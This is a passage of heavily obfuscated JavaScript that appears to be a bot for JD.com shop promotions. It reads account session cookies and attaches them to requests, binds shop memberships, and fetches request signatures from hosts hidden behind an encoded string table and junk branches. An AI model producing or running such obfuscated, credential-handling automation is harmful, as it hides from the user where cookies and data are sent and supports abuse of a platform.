_0x4b0bc2[_0x59deb3[_0x2dd5('‮170')]][_0x59deb3[_0x2dd5('‮173')]][_0x2dd5('‮9e')](',')){cookie=''+cookie+_0x49ff21[_0x2dd5('‮9e')](';')[0x0]+';';}}}}if(_0x43b041){_0x43b041=JSON[_0x2dd5('‫c')](_0x43b041);if(_0x43b041[_0x2dd5('‮d6')]){if(_0x59deb3[_0x2dd5('‫182')](_0x59deb3[_0x2dd5('‫183')],_0x59deb3[_0x2dd5('‫183')])){Host=process[_0x2dd5('‮6')][_0x2dd5('‮184')];}else{$[_0x2dd5('‫9')](_0x2dd5('‫185')+_0x43b041[_0x2dd5('‮db')][_0x2dd5('‮ec')]);$[_0x2dd5('‮84')]=_0x43b041[_0x2dd5('‮db')][_0x2dd5('‮ec')];$[_0x2dd5('‮50')]=_0x43b041[_0x2dd5('‮db')][_0x2dd5('‮50')];cookie=cookie+_0x2dd5('‮186')+_0x43b041[_0x2dd5('‮db')][_0x2dd5('‮50')];}}else{$[_0x2dd5('‫9')](_0x43b041[_0x2dd5('‮187')]);}}else{$[_0x2dd5('‫9')](_0x59deb3[_0x2dd5('‫188')]);}}else{$[_0x2dd5('‫9')](_0x59deb3[_0x2dd5('‮189')]);}}}catch(_0x42bc84){$[_0x2dd5('‫9')](_0x42bc84);}finally{_0x59deb3[_0x2dd5('‫18a')](_0x51e043);}}});});}function getFirstLZCK(){var _0x6d7135={'mutOW':function(_0x431168,_0x20acfa){return _0x431168===_0x20acfa;},'QBHBv':_0x2dd5('‫18b'),'fYhom':function(_0x48fc22,_0x39ef57){return _0x48fc22!==_0x39ef57;},'ZDLTH':_0x2dd5('‮18c'),'rMQju':_0x2dd5('‮18d'),'SKiaz':function(_0x5613ea,_0x135fc3){return _0x5613ea===_0x135fc3;},'gDtXx':_0x2dd5('‫18e'),'WWNxV':_0x2dd5('‮103'),'xjySZ':_0x2dd5('‮104'),'UQfxy':_0x2dd5('‫18f'),'VOqyi':_0x2dd5('‮13c'),'jsluI':function(_0x455958,_0x586a7a){return _0x455958===_0x586a7a;},'HOfOz':_0x2dd5('‮190'),'hPVln':_0x2dd5('‮191'),'ZCjdA':function(_0x2a8fe,_0x1d5190){return _0x2a8fe===_0x1d5190;},'lXAfU':_0x2dd5('‮192'),'lZnWb':_0x2dd5('‮193'),'IXYYE':_0x2dd5('‮194'),'Jckjw':function(_0x30ea1c,_0x3211d3){return _0x30ea1c!==_0x3211d3;},'NPoLi':_0x2dd5('‮195'),'NeBuF':function(_0x317326){return _0x317326();},'ITHEe':_0x2dd5('‫196'),'qzypU':_0x2dd5('‫197'),'PMkOA':function(_0x3b26f3,_0x1e851c){return _0x3b26f3(_0x1e851c);},'HaSwW':_0x2dd5('‫198'),'ObEjN':_0x2dd5('‮199'),'LAKSC':_0x2dd5('‫19a')};return new Promise(_0x1d3ed9=>{if(_0x6d7135[_0x2dd5('‫19b')](_0x6d7135[_0x2dd5('‫19c')],_0x6d7135[_0x2dd5('‫19d')])){res=JSON[_0x2dd5('‫c')](data);if(res[_0x2dd5('‫19e')]){if(res[_0x2dd5('‮d6')][_0x2dd5('‮11c')]){$[_0x2dd5('‮6d')]=res[_0x2dd5('‮d6')][_0x2dd5('‮11c')][0x0][_0x2dd5('‮11d')][_0x2dd5('‮46')];}}}else{$[_0x2dd5('‫11f')]({'url':$[_0x2dd5('‮4a')],'headers':{'user-agent':$[_0x2dd5('‮0')]()?process[_0x2dd5('‮6')][_0x2dd5('‫19f')]?process[_0x2dd5('‮6')][_0x2dd5('‫19f')]:_0x6d7135[_0x2dd5('‮1a0')](require,_0x6d7135[_0x2dd5('‮1a1')])[_0x2dd5('‮1a2')]:$[_0x2dd5('‮a')](_0x6d7135[_0x2dd5('‫1a3')])?$[_0x2dd5('‮a')](_0x6d7135[_0x2dd5('‫1a3')]):_0x6d7135[_0x2dd5('‮1a4')]}},(_0x3ba3b0,_0x3841ae,_0x38ecec)=>{if(_0x6d7135[_0x2dd5('‮1a5')](_0x6d7135[_0x2dd5('‮1a6')],_0x6d7135[_0x2dd5('‮1a6')])){try{if(_0x6d7135[_0x2dd5('‫1a7')](_0x6d7135[_0x2dd5('‮1a8')],_0x6d7135[_0x2dd5('‮1a9')])){if(_0x3ba3b0){console[_0x2dd5('‫9')](_0x3ba3b0);}else{if(_0x6d7135[_0x2dd5('‮1aa')](_0x6d7135[_0x2dd5('‫1ab')],_0x6d7135[_0x2dd5('‫1ab')])){if(_0x3841ae[_0x6d7135[_0x2dd5('‫1ac')]][_0x6d7135[_0x2dd5('‫1ad')]]){cookie=''+originCookie;if($[_0x2dd5('‮0')]()){for(let _0x28f3d9 of _0x3841ae[_0x6d7135[_0x2dd5('‫1ac')]][_0x6d7135[_0x2dd5('‫1ad')]]){cookie=''+cookie+_0x28f3d9[_0x2dd5('‮9e')](';')[0x0]+';';}}else{if(_0x6d7135[_0x2dd5('‫1a7')](_0x6d7135[_0x2dd5('‫1ae')],_0x6d7135[_0x2dd5('‫1ae')])){console[_0x2dd5('‫9')](_0x3ba3b0);}else{for(let _0x235f1e of _0x3841ae[_0x6d7135[_0x2dd5('‫1ac')]][_0x6d7135[_0x2dd5('‮1af')]][_0x2dd5('‮9e')](',')){cookie=''+cookie+_0x235f1e[_0x2dd5('‮9e')](';')[0x0]+';';}}}}if(_0x3841ae[_0x6d7135[_0x2dd5('‫1ac')]][_0x6d7135[_0x2dd5('‮1af')]]){cookie=''+originCookie;if($[_0x2dd5('‮0')]()){if(_0x6d7135[_0x2dd5('‫1b0')](_0x6d7135[_0x2dd5('‫1b1')],_0x6d7135[_0x2dd5('‫1b2')])){cookie=''+cookie+sk[_0x2dd5('‮9e')](';')[0x0]+';';}else{for(let _0x3ca8ea of _0x3841ae[_0x6d7135[_0x2dd5('‫1ac')]][_0x6d7135[_0x2dd5('‫1ad')]]){cookie=''+cookie+_0x3ca8ea[_0x2dd5('‮9e')](';')[0x0]+';';}}}else{if(_0x6d7135[_0x2dd5('‫19b')](_0x6d7135[_0x2dd5('‫1b3')],_0x6d7135[_0x2dd5('‫1b4')])){cookie=''+cookie+sk[_0x2dd5('‮9e')](';')[0x0]+';';}else{for(let _0x496303 of _0x3841ae[_0x6d7135[_0x2dd5('‫1ac')]][_0x6d7135[_0x2dd5('‮1af')]][_0x2dd5('‮9e')](',')){cookie=''+cookie+_0x496303[_0x2dd5('‮9e')](';')[0x0]+';';}}}}$[_0x2dd5('‮e')]=cookie;}else{$[_0x2dd5('‮120')](e,_0x3841ae);}}}else{$[_0x2dd5('‮2e')]=![];return;}}catch(_0x396e25){if(_0x6d7135[_0x2dd5('‫1a7')](_0x6d7135[_0x2dd5('‮1b5')],_0x6d7135[_0x2dd5('‮1b5')])){console[_0x2dd5('‫9')](res);$[_0x2dd5('‮1b6')]=res[_0x2dd5('‮1b7')];}else{console[_0x2dd5('‫9')](_0x396e25);}}finally{if(_0x6d7135[_0x2dd5('‫1b8')](_0x6d7135[_0x2dd5('‮1b9')],_0x6d7135[_0x2dd5('‮1b9')])){$[_0x2dd5('‫5f')]();}else{_0x6d7135[_0x2dd5('‫1ba')](_0x1d3ed9);}}}else{$[_0x2dd5('‮120')](e,_0x3841ae);}});}});}function random(_0x3e75a3,_0x3aa38b){var _0x482542={'IVIzE':function(_0x2cc2d2,_0x38ba69){return _0x2cc2d2+_0x38ba69;},'lalGV':function(_0x5324b6,_0x30b1ff){return _0x5324b6*_0x30b1ff;},'EYrIm':function(_0x2fb9b9,_0x3f0f94){return _0x2fb9b9-_0x3f0f94;}};return _0x482542[_0x2dd5('‫1bb')](Math[_0x2dd5('‫178')](_0x482542[_0x2dd5('‫1bc')](Math[_0x2dd5('‫179')](),_0x482542[_0x2dd5('‫1bd')](_0x3aa38b,_0x3e75a3))),_0x3e75a3);}function getUUID(_0x528100=_0x2dd5('‮19'),_0x15238d=0x0){var _0x5e055b={'wEgus':function(_0x480acc,_0x3de785){return _0x480acc===_0x3de785;},'rqzJp':_0x2dd5('‫13'),'cpmjV':function(_0xdc19b7,_0x380b6a){return _0xdc19b7|_0x380b6a;},'kcKpT':function(_0x55809b,_0x231559){return _0x55809b*_0x231559;},'tJaXZ':function(_0x404b38,_0x1fb9d0){return _0x404b38==_0x1fb9d0;},'woWeH':function(_0x494ff7,_0x9fa925){return _0x494ff7|_0x9fa925;},'rLfLk':function(_0x1f2ce3,_0x5351e4){return _0x1f2ce3&_0x5351e4;},'duUmh':function(_0x22671f,_0x1b48b1){return _0x22671f!==_0x1b48b1;},'LKOyh':_0x2dd5('‮1be')};return _0x528100[_0x2dd5('‫1bf')](/[xy]/g,function(_0x514164){var _0x199695={'RtBbd':function(_0x36f237,_0x586e96){return _0x5e055b[_0x2dd5('‫1c0')](_0x36f237,_0x586e96);},'TiDCm':_0x5e055b[_0x2dd5('‮1c1')]};var _0x306a2e=_0x5e055b[_0x2dd5('‮1c2')](_0x5e055b[_0x2dd5('‫1c3')](Math[_0x2dd5('‫179')](),0x10),0x0),_0x504a23=_0x5e055b[_0x2dd5('‮1c4')](_0x514164,'x')?_0x306a2e:_0x5e055b[_0x2dd5('‮1c5')](_0x5e055b[_0x2dd5('‮1c6')](_0x306a2e,0x3),0x8);if(_0x15238d){uuid=_0x504a23[_0x2dd5('‮180')](0x24)[_0x2dd5('‮181')]();}else{if(_0x5e055b[_0x2dd5('‫1c7')](_0x5e055b[_0x2dd5('‫1c8')],_0x5e055b[_0x2dd5('‫1c8')])){if(data){data=JSON[_0x2dd5('‫c')](data);if(_0x199695[_0x2dd5('‫1c9')](data[_0x2dd5('‮1ca')],'0')){$[_0x2dd5('‫6c')]=data[_0x2dd5('‫6c')];}}else{$[_0x2dd5('‫9')](_0x199695[_0x2dd5('‫1cb')]);}}else{uuid=_0x504a23[_0x2dd5('‮180')](0x24);}}return uuid;});}function checkCookie(){var _0x308999={'EJxAU':function(_0x288934,_0x4daf51){return _0x288934!==_0x4daf51;},'eLxTs':_0x2dd5('‮1cc'),'ycEbR':_0x2dd5('‫1cd'),'xtEmA':_0x2dd5('‮1ce'),'ldikA':function(_0x14770a,_0x4bae45){return _0x14770a===_0x4bae45;},'OOvbV':_0x2dd5('‮1cf'),'xumWP':function(_0x2e4de4,_0x198940){return _0x2e4de4===_0x198940;},'aqesA':_0x2dd5('‮1d0'),'ozvON':_0x2dd5('‮1d1'),'WHoUf':function(_0x58447a,_0x5554b9){return _0x58447a===_0x5554b9;},'ngUsp':_0x2dd5('‫ea'),'HJDiN':_0x2dd5('‫13'),'Ggfhg':function(_0x50160c){return _0x50160c();},'ZqlGn':_0x2dd5('‮1d2'),'nNXDM':_0x2dd5('‮1d3'),'BKvOY':_0x2dd5('‮1d4'),'GoxTz':_0x2dd5('‫129'),'AHvFh':_0x2dd5('‫1d5'),'rOfvE':_0x2dd5('‫125'),'PykZS':_0x2dd5('‫1d6'),'qAINv':_0x2dd5('‫126')};const _0x4f4c64={'url':_0x308999[_0x2dd5('‮1d7')],'headers':{'Host':_0x308999[_0x2dd5('‫1d8')],'Accept':_0x308999[_0x2dd5('‫1d9')],'Connection':_0x308999[_0x2dd5('‮1da')],'Cookie':cookie,'User-Agent':_0x308999[_0x2dd5('‫1db')],'Accept-Language':_0x308999[_0x2dd5('‫1dc')],'Referer':_0x308999[_0x2dd5('‫1dd')],'Accept-Encoding':_0x308999[_0x2dd5('‫1de')]}};return new Promise(_0x53d343=>{$[_0x2dd5('‫11f')](_0x4f4c64,(_0x1da0bc,_0x32a45c,_0x59b118)=>{if(_0x308999[_0x2dd5('‮1df')](_0x308999[_0x2dd5('‮1e0')],_0x308999[_0x2dd5('‮1e0')])){_0x59b118=JSON[_0x2dd5('‫c')](_0x59b118);if(_0x59b118[_0x2dd5('‮d6')]){$[_0x2dd5('‫9')](_0x2dd5('‫185')+_0x59b118[_0x2dd5('‮db')][_0x2dd5('‮ec')]);$[_0x2dd5('‮84')]=_0x59b118[_0x2dd5('‮db')][_0x2dd5('‮ec')];$[_0x2dd5('‮50')]=_0x59b118[_0x2dd5('‮db')][_0x2dd5('‮50')];cookie=cookie+_0x2dd5('‮186')+_0x59b118[_0x2dd5('‮db')][_0x2dd5('‮50')];}else{$[_0x2dd5('‫9')](_0x59b118[_0x2dd5('‮187')]);}}else{try{if(_0x308999[_0x2dd5('‮1df')](_0x308999[_0x2dd5('‮1e1')],_0x308999[_0x2dd5('‮1e1')])){uuid=v[_0x2dd5('‮180')](0x24)[_0x2dd5('‮181')]();}else{if(_0x1da0bc){$[_0x2dd5('‮120')](_0x1da0bc);}else{if(_0x308999[_0x2dd5('‮1df')](_0x308999[_0x2dd5('‫1e2')],_0x308999[_0x2dd5('‫1e2')])){cookie=''+cookie+sk[_0x2dd5('‮9e')](';')[0x0]+';';}else{if(_0x59b118){if(_0x308999[_0x2dd5('‮1e3')](_0x308999[_0x2dd5('‮1e4')],_0x308999[_0x2dd5('‮1e4')])){_0x59b118=JSON[_0x2dd5('‫c')](_0x59b118);if(_0x308999[_0x2dd5('‮1e5')](_0x59b118[_0x2dd5('‫1e6')],_0x308999[_0x2dd5('‮1e7')])){if(_0x308999[_0x2dd5('‮1df')](_0x308999[_0x2dd5('‮1e8')],_0x308999[_0x2dd5('‮1e8')])){$[_0x2dd5('‫9')](error);}else{$[_0x2dd5('‮2e')]=![];return;}}if(_0x308999[_0x2dd5('‫1e9')](_0x59b118[_0x2dd5('‫1e6')],'0')&&_0x59b118[_0x2dd5('‮db')][_0x2dd5('‮1ea')](_0x308999[_0x2dd5('‫1eb')])){$[_0x2dd5('‫2f')]=_0x59b118[_0x2dd5('‮db')][_0x2dd5('‫ea')][_0x2dd5('‫eb')][_0x2dd5('‮ec')];}}else{if(_0x1da0bc){console[_0x2dd5('‫9')](_0x1da0bc);}else{res=JSON[_0x2dd5('‫c')](_0x59b118);if(res[_0x2dd5('‫19e')]){console[_0x2dd5('‫9')](res);$[_0x2dd5('‮1b6')]=res[_0x2dd5('‮1b7')];}}}}else{$[_0x2dd5('‫9')](_0x308999[_0x2dd5('‮1ec')]);}}}}}catch(_0x2376b3){$[_0x2dd5('‮120')](_0x2376b3);}finally{_0x308999[_0x2dd5('‮1ed')](_0x53d343);}}});});}function getShopOpenCardInfo(_0x29df8b,_0x1ed727){var _0x375e2b={'wVWWb':function(_0x4a97b9,_0x47d197){return _0x4a97b9*_0x47d197;},'XxZGQ':_0x2dd5('‫bb'),'pvYTK':function(_0x361d4a,_0x1af20d){return _0x361d4a===_0x1af20d;},'Vznfe':_0x2dd5('‫1ee'),'Rjsqm':_0x2dd5('‮1ef'),'IOPgb':function(_0x539c9b,_0x3736c0){return _0x539c9b===_0x3736c0;},'VTVjq':_0x2dd5('‮1f0'),'wjfZz':function(_0x53bee3){return _0x53bee3();},'nLQBp':function(_0x13dd8c,_0x2ec564){return _0x13dd8c(_0x2ec564);},'OtuSF':_0x2dd5('‮1f1'),'QAqrG':_0x2dd5('‮1d4'),'LQdQd':_0x2dd5('‫129'),'cZfyd':_0x2dd5('‫125'),'zAzog':_0x2dd5('‫126')};let _0x3e731d={'url':_0x2dd5('‫1f2')+_0x375e2b[_0x2dd5('‫1f3')](encodeURIComponent,JSON[_0x2dd5('‫fb')](_0x29df8b))+_0x2dd5('‮1f4'),'headers':{'Host':_0x375e2b[_0x2dd5('‮1f5')],'Accept':_0x375e2b[_0x2dd5('‮1f6')],'Connection':_0x375e2b[_0x2dd5('‫1f7')],'Cookie':cookie,'User-Agent':_0x2dd5('‫133')+$[_0x2dd5('‫3c')]+_0x2dd5('‮134')+$[_0x2dd5('‫39')]+_0x2dd5('‮135'),'Accept-Language':_0x375e2b[_0x2dd5('‫1f8')],'Referer':_0x2dd5('‮1f9')+_0x1ed727+_0x2dd5('‮1fa')+_0x375e2b[_0x2dd5('‫1f3')](encodeURIComponent,$[_0x2dd5('‮4a')]),'Accept-Encoding':_0x375e2b[_0x2dd5('‫1fb')]}};return new Promise(_0x416257=>{$[_0x2dd5('‫11f')](_0x3e731d,(_0x579925,_0x4b1fe3,_0x1b9871)=>{var _0x5654dd={'BqPPw':function(_0x53c3bb,_0x3cb51f){return _0x375e2b[_0x2dd5('‮1fc')](_0x53c3bb,_0x3cb51f);},'MFtgK':_0x375e2b[_0x2dd5('‫1fd')]};try{if(_0x579925){console[_0x2dd5('‫9')](_0x579925);}else{if(_0x375e2b[_0x2dd5('‮1fe')](_0x375e2b[_0x2dd5('‮1ff')],_0x375e2b[_0x2dd5('‮1ff')])){res=JSON[_0x2dd5('‫c')](_0x1b9871);if(res[_0x2dd5('‫19e')]){if(res[_0x2dd5('‮d6')][_0x2dd5('‮11c')]){if(_0x375e2b[_0x2dd5('‮1fe')](_0x375e2b[_0x2dd5('‫200')],_0x375e2b[_0x2dd5('‫200')])){$[_0x2dd5('‮6d')]=res[_0x2dd5('‮d6')][_0x2dd5('‮11c')][0x0][_0x2dd5('‮11d')][_0x2dd5('‮46')];}else{Host=HostArr[Math[_0x2dd5('‫178')](_0x5654dd[_0x2dd5('‫201')](Math[_0x2dd5('‫179')](),HostArr[_0x2dd5('‫26')]))];}}}}else{cookiesArr[_0x2dd5('‫5')](jdCookieNode[item]);}}}catch(_0x401d03){if(_0x375e2b[_0x2dd5('‮202')](_0x375e2b[_0x2dd5('‮203')],_0x375e2b[_0x2dd5('‮203')])){console[_0x2dd5('‫9')](_0x401d03);}else{ownCode=_0x1b9871[_0x2dd5('‮db')][_0x2dd5('‮e8')][_0x5654dd[_0x2dd5('‫204')]];console[_0x2dd5('‫9')](ownCode);}}finally{_0x375e2b[_0x2dd5('‫205')](_0x416257);}});});}async function bindWithVender(_0x1a6ac9,_0x379187){var _0x5e3f5c={'GEjiu':_0x2dd5('‫13'),'uNUDr':function(_0x20e4e8,_0x409fa5){return _0x20e4e8===_0x409fa5;},'aaeEJ':_0x2dd5('‫206'),'gPLcq':_0x2dd5('‮207'),'ikmxp':function(_0x153f72){return _0x153f72();},'cApfq':function(_0x5b7516,_0x6d0e3,_0x59267e){return _0x5b7516(_0x6d0e3,_0x59267e);},'yEULc':_0x2dd5('‮208'),'ymZWP':_0x2dd5('‮1f1'),'WtKCW':_0x2dd5('‮1d4'),'DZvcR':_0x2dd5('‫129'),'Xpmis':_0x2dd5('‫125'),'sTKYJ':function(_0x58150a,_0x9111c2){return _0x58150a(_0x9111c2);},'AwmPr':_0x2dd5('‫126')};return h5st=await _0x5e3f5c[_0x2dd5('‮209')](geth5st,_0x5e3f5c[_0x2dd5('‮20a')],_0x1a6ac9),opt={'url':_0x2dd5('‮20b')+h5st,'headers':{'Host':_0x5e3f5c[_0x2dd5('‫20c')],'Accept':_0x5e3f5c[_0x2dd5('‮20d')],'Connection':_0x5e3f5c[_0x2dd5('‮20e')],'Cookie':cookie,'User-Agent':_0x2dd5('‫133')+$[_0x2dd5('‫3c')]+_0x2dd5('‮134')+$[_0x2dd5('‫39')]+_0x2dd5('‮135'),'Accept-Language':_0x5e3f5c[_0x2dd5('‫20f')],'Referer':_0x2dd5('‮1f9')+_0x379187+_0x2dd5('‮210')+_0x5e3f5c[_0x2dd5('‫211')](encodeURIComponent,$[_0x2dd5('‮4a')]),'Accept-Encoding':_0x5e3f5c[_0x2dd5('‫212')]}},new Promise(_0x269a17=>{var _0x461fd4={'kgYzx':_0x5e3f5c[_0x2dd5('‮213')],'FAZWX':function(_0x280cb9,_0x2e44cc){return _0x5e3f5c[_0x2dd5('‮214')](_0x280cb9,_0x2e44cc);},'IUdSu':_0x5e3f5c[_0x2dd5('‫215')],'kLrsi':_0x5e3f5c[_0x2dd5('‮216')],'TqSNS':function(_0x9c2653){return _0x5e3f5c[_0x2dd5('‫217')](_0x9c2653);}};$[_0x2dd5('‫11f')](opt,(_0x25571f,_0x50b0fb,_0x25fbff)=>{var _0x4d7f30={'TAkbh':_0x461fd4[_0x2dd5('‫218')]};try{if(_0x25571f){console[_0x2dd5('‫9')](_0x25571f);}else{if(_0x461fd4[_0x2dd5('‫219')](_0x461fd4[_0x2dd5('‮21a')],_0x461fd4[_0x2dd5('‫21b')])){$[_0x2dd5('‫9')](_0x4d7f30[_0x2dd5('‮21c')]);}else{res=JSON[_0x2dd5('‫c')](_0x25fbff);if(res[_0x2dd5('‫19e')]){console[_0x2dd5('‫9')](res);$[_0x2dd5('‮1b6')]=res[_0x2dd5('‮1b7')];}}}}catch(_0x4c03b5){console[_0x2dd5('‫9')](_0x4c03b5);}finally{_0x461fd4[_0x2dd5('‮21d')](_0x269a17);}});});}function geth5st(_0x1f02b1,_0x445309){var _0x8b31ea={'RPsiz':function(_0x756492){return _0x756492();},'gbzFP':function(_0x247028,_0x3e3697){return _0x247028(_0x3e3697);},'FnRqp':_0x2dd5('‫21e'),'JprWR':_0x2dd5('‮21f'),'KzZtN':_0x2dd5('‫220'),'LOKfB':_0x2dd5('‮221'),'sMHIB':function(_0x31e51c,_0x17f0c8){return _0x31e51c!==_0x17f0c8;},'BTKMm':_0x2dd5('‫222'),'hQVQw':_0x2dd5('‮223'),'CmBKU':_0x2dd5('‫224'),'WLylw':_0x2dd5('‫225'),'QvHJj':function(_0xec8cfb,_0x2819e7){return _0xec8cfb*_0x2819e7;},'ciklA':_0x2dd5('‮123'),'dVERk':function(_0x3c3ab9,_0x51db92){return _0x3c3ab9*_0x51db92;}};return new Promise(async _0x482059=>{var _0x5b4b4e={'Fnqhi':function(_0x2101b7){return _0x8b31ea[_0x2dd5('‮226')](_0x2101b7);}};let _0x1bc12d={'appId':_0x8b31ea[_0x2dd5('‫227')],'body':{'appid':_0x8b31ea[_0x2dd5('‮228')],'functionId':_0x1f02b1,'body':JSON[_0x2dd5('‫fb')](_0x445309),'clientVersion':_0x8b31ea[_0x2dd5('‮229')],'client':'H5','activityId':$[_0x2dd5('‮46')]},'callbackAll':!![]};let _0x12c7cd='';let _0x2386f9=[_0x8b31ea[_0x2dd5('‮22a')]];if(process[_0x2dd5('‮6')][_0x2dd5('‮184')]){if(_0x8b31ea[_0x2dd5('‫22b')](_0x8b31ea[_0x2dd5('‮22c')],_0x8b31ea[_0x2dd5('‫22d')])){_0x12c7cd=process[_0x2dd5('‮6')][_0x2dd5('‮184')];}else{_0x5b4b4e[_0x2dd5('‮22e')](_0x482059);}}else{if(_0x8b31ea[_0x2dd5('‫22b')](_0x8b31ea[_0x2dd5('‮22f')],_0x8b31ea[_0x2dd5('‫230')])){_0x12c7cd=_0x2386f9[Math[_0x2dd5('‫178')](_0x8b31ea[_0x2dd5('‫231')](Math[_0x2dd5('‫179')](),_0x2386f9[_0x2dd5('‫26')]))];}else{_0x8b31ea[_0x2dd5('‮226')](_0x482059);}}let _0x468cab={'url':_0x2dd5('‫232'),'body':JSON[_0x2dd5('‫fb')](_0x1bc12d),'headers':{'Host':_0x12c7cd,'Content-Type':_0x8b31ea[_0x2dd5('‮233')]},'timeout':_0x8b31ea[_0x2dd5('‮234')](0x1e,0x3e8)};$[_0x2dd5('‮cb')](_0x468cab,async(_0x32d682,_0x388dee,_0x1bc12d)=>{try{if(_0x32d682){_0x1bc12d=await geth5st[_0x2dd5('‮235')](this,arguments);}else{}}catch(_0xd03114){$[_0x2dd5('‮120')](_0xd03114,_0x388dee);}finally{_0x8b31ea[_0x2dd5('‮236')](_0x482059,_0x1bc12d);}});});}async function getToken(){var _0x370c9a={'OoIFg':function(_0x14e002,_0x481e38){return _0x14e002===_0x481e38;},'QaRYA':_0x2dd5('‫237'),'npihv':function(_0xe66880,_0x17a129){return _0xe66880!==_0x17a129;},'MXMmj':_0x2dd5('‮238'),'Zldil':_0x2dd5('‫239'),'TOeWn':function(_0x17980d,_0x189423){return _0x17980d===_0x189423;},'ljSBr':_0x2dd5('‫23a'),'aTfYT':_0x2dd5('‫23b'),'bBGow':_0x2dd5('‫13'),'FzUcm':function(_0x1760db,_0x43e73f){return _0x1760db===_0x43e73f;},'bysNy':_0x2dd5('‫23c'),'LJXGH':_0x2dd5('‮23d'),'KZCgv':function(_0x5435ae,_0x9514f1){return _0x5435ae!==_0x9514f1;},'POOIk':_0x2dd5('‮23e'),'SgrQu':function(_0x169a0c){return _0x169a0c();},'CNmmI':function(_0x44d61d,_0x21d681){return _0x44d61d(_0x21d681);},'MnvTB':function(_0x2c80d3,_0x1f66ce){return _0x2c80d3===_0x1f66ce;},'sgpmO':_0x2dd5('‮8'),'yIRVD':function(_0x2fed75,_0x58d410,_0x20cc9e){return _0x2fed75(_0x58d410,_0x20cc9e);},'NCitZ':_0x2dd5('‫23f'),'kdgyp':_0x2dd5('‫128'),'URaij':_0x2dd5('‮1f1'),'SlLyA':_0x2dd5('‮127'),'ubmhc':_0x2dd5('‮1d4'),'MvioU':_0x2dd5('‫129'),'ypHfD':_0x2dd5('‫240'),'IADjm':_0x2dd5('‫241'),'WNUvy':_0x2dd5('‫126')};let _0x32d1e8=await _0x370c9a[_0x2dd5('‮242')](getSign,_0x370c9a[_0x2dd5('‫243')],{'id':'','url':_0x370c9a[_0x2dd5('‮244')]});let _0xe046a4={'url':_0x2dd5('‫245'),'headers':{'Host':_0x370c9a[_0x2dd5('‫246')],'Content-Type':_0x370c9a[_0x2dd5('‫247')],'Accept':_0x370c9a[_0x2dd5('‫248')],'Connection':_0x370c9a[_0x2dd5('‫249')],'Cookie':cookie,'User-Agent':_0x370c9a[_0x2dd5('‮24a')],'Accept-Language':_0x370c9a[_0x2dd5('‮24b')],'Accept-Encoding':_0x370c9a[_0x2dd5('‫24c')]},'body':_0x32d1e8};return new Promise(_0x38aa6a=>{var _0xc0efa1={'RWRMv':function(_0x53293f,_0x543862){return _0x370c9a[_0x2dd5('‫24d')](_0x53293f,_0x543862);},'pRBso':function(_0x4f81c9,_0x2f8d4d){return _0x370c9a[_0x2dd5('‮24e')](_0x4f81c9,_0x2f8d4d);},'dZysu':_0x370c9a[_0x2dd5('‫24f')]};$[_0x2dd5('‮cb')](_0xe046a4,(_0x30bd05,_0x4642f1,_0x36a597)=>{try{if(_0x30bd05){$[_0x2dd5('‫9')](_0x30bd05);}else{if(_0x370c9a[_0x2dd5('‫250')](_0x370c9a[_0x2dd5('‫251')],_0x370c9a[_0x2dd5('‫251')])){if(_0x36a597){if(_0x370c9a[_0x2dd5('‮252')](_0x370c9a[_0x2dd5('‫253')],_0x370c9a[_0x2dd5('‮254')])){_0x36a597=JSON[_0x2dd5('‫c')](_0x36a597);if(_0x370c9a[_0x2dd5('‮255')](_0x36a597[_0x2dd5('‮1ca')],'0')){$[_0x2dd5('‫6c')]=_0x36a597[_0x2dd5('‫6c')];}}else{_0xc0efa1[_0x2dd5('‫256')](_0x38aa6a,_0x36a597);}}else{if(_0x370c9a[_0x2dd5('‮255')](_0x370c9a[_0x2dd5('‮257')],_0x370c9a[_0x2dd5('‮258')])){console[_0x2dd5('‫9')](_0x36a597[_0x2dd5('‮db')]);}else{$[_0x2dd5('‫9')](_0x370c9a[_0x2dd5('‮259')]);}}}else{Object[_0x2dd5('‫3')](jdCookieNode)[_0x2dd5('‫4')](_0x11da69=>{cookiesArr[_0x2dd5('‫5')](jdCookieNode[_0x11da69]);});if(process[_0x2dd5('‮6')][_0x2dd5('‫7')]&&_0xc0efa1[_0x2dd5('‮25a')](process[_0x2dd5('‮6')][_0x2dd5('‫7')],_0xc0efa1[_0x2dd5('‮25b')]))console[_0x2dd5('‫9')]=()=>{};}}}catch(_0xa83a2f){if(_0x370c9a[_0x2dd5('‮25c')](_0x370c9a[_0x2dd5('‫25d')],_0x370c9a[_0x2dd5('‫25e')])){cookie=''+cookie+sk[_0x2dd5('‮9e')](';')[0x0]+';';}else{$[_0x2dd5('‫9')](_0xa83a2f);}}finally{if(_0x370c9a[_0x2dd5('‫25f')](_0x370c9a[_0x2dd5('‫260')],_0x370c9a[_0x2dd5('‫260')])){_0x36a597=JSON[_0x2dd5('‫c')](_0x36a597);if(_0xc0efa1[_0x2dd5('‮25a')](_0x36a597[_0x2dd5('‮1ca')],'0')){$[_0x2dd5('‫6c')]=_0x36a597[_0x2dd5('‫6c')];}}else{_0x370c9a[_0x2dd5('‫261')](_0x38aa6a);}}});});}function getSign(_0xb20dcd,_0x220a3){var _0x205e45={'cCLYN':function(_0x2c0ff1,_0x359eb1){return _0x2c0ff1!==_0x359eb1;},'GzilO':_0x2dd5('‮262'),'ILVYD':function(_0x2e42c1,_0x333f6f){return _0x2e42c1(_0x333f6f);},'KYuih':_0x2dd5('‮221'),'LFGie':function(_0x22910f,_0x446186){return _0x22910f*_0x446186;},'RTpkO':_0x2dd5('‮118'),'GyeUi':function(_0x4a4002,_0x1d136a){return _0x4a4002*_0x1d136a;}};return new Promise(async _0x90bef3=>{let _0xcc434d={'functionId':_0xb20dcd,'body':JSON[_0x2dd5('‫fb')](_0x220a3),'activityId':$[_0x2dd5('‮46')]};let _0x395571='';let _0x4ee14c=[_0x205e45[_0x2dd5('‮263')]];if(process[_0x2dd5('‮6')][_0x2dd5('‮184')]){_0x395571=process[_0x2dd5('‮6')][_0x2dd5('‮184')];}else{_0x395571=_0x4ee14c[Math[_0x2dd5('‫178')](_0x205e45[_0x2dd5('‮264')](Math[_0x2dd5('‫179')](),_0x4ee14c[_0x2dd5('‫26')]))];}let 